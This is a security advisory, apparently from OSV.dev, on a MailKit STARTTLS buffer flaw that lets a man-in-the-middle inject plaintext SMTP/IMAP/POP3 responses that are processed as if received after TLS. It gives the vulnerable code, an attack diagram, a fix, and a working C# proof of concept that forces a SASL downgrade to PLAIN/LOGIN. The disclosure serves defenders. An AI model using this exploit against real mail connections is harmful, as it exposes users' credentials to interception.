// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Jan 18, 2020

Activity

Details